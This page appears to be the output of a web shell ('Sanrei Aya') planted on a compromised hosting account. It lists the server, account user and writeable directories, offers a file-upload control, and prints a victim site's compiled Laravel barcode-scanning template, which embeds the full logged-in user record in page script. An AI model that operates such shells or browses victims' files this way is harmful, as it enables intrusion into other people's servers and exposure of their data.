Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /home/elvh3918/public_html/pmm/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/elvh3918/public_html/pmm/storage/framework/views/693159d6d042720d8f64614ba4b78619.php
<?php $__env->startSection('content-scan-barcode'); ?>
    <div class="row mb-3">
        <div class="col">
            <div class="d-flex flex-row">
                <input type="text"
                    class="form-control" id="code" name="code" placeholder="Scan QRCode item here"
                    onkeypress="pressEnter(event)"
                />

                <button type="button" class="ml-2 btn btn-info" onclick='openCamera()'>
                    <i class="fa fa-camera"></i>
                </button>

                <button type="button" class="ml-2 btn btn-dark" onclick='searchBarcode()'>
                    <i class="fa fa-qrcode"></i>
                </button>
            </div>
        </div>
    </div>
<?php $__env->stopSection(); ?>

<?php $__env->startSection('page-script-scan-barcode'); ?>
    <script>
        function openCamera() {
            openModalQRCode();
        }

        function catch_result(decodedText = null, decodedResult = null) {
            document.getElementById("code").value = decodedText;
            closeModalQRCode();
            searchBarcode();
        }

        function searchBarcode() {
            var code = document.getElementById("code").value;
            if (code == "") {
                alert("Please scan or enter the barcode/QRCode first.");
                return;
            }

            var user = <?php echo json_encode(Auth::user()); ?>;
            var tenant_id = 0;
            if (user.model_type == 'App\\Models\\Master\\Tenant') {
                tenant_id = user.model_id;
            }

            $.ajax({
                dataType: 'json',
                type: "GET",
                url: '<?php echo e(env('APP_URL')); ?>' + "/api/dashboard/scan-barcode/" + code + "/" + tenant_id + "/0",

                success: function(res) {
                    if (res.data == null) {
                        alert('data not found');
                        return;
                    }

                    var date_from = moment(new Date(res.min_date_trans)).format('YYYY-MM-DD');
                    var date_to = moment(new Date(res.max_date_trans)).format('YYYY-MM-DD');

                    var url = "<?php echo e(route('report.maintenance', [':date_from', ':date_to', ':item_code'])); ?>";
                    url = url.replace(':date_from', date_from);
                    url = url.replace(':date_to', date_to);
                    url = url.replace(':item_code', res.item_code);
                    location.href = url;
                },
                error: function(xhr, status, error) {
                    alert(error);
                    return;
                }
            });
        }

        function pressEnter(e) {
            if (e.keyCode === 13) { // where 13 is the enter button
                e.preventDefault(); //ignore submit
                searchBarcode();
            }
        }
    </script>
<?php $__env->stopSection(); ?><?php /**PATH /home/elvh3918/public_html/pmm/resources/views/content/dashboard/scan-barcode.blade.php ENDPATH**/ ?>

Yohohohohohooho | Sanrei Aya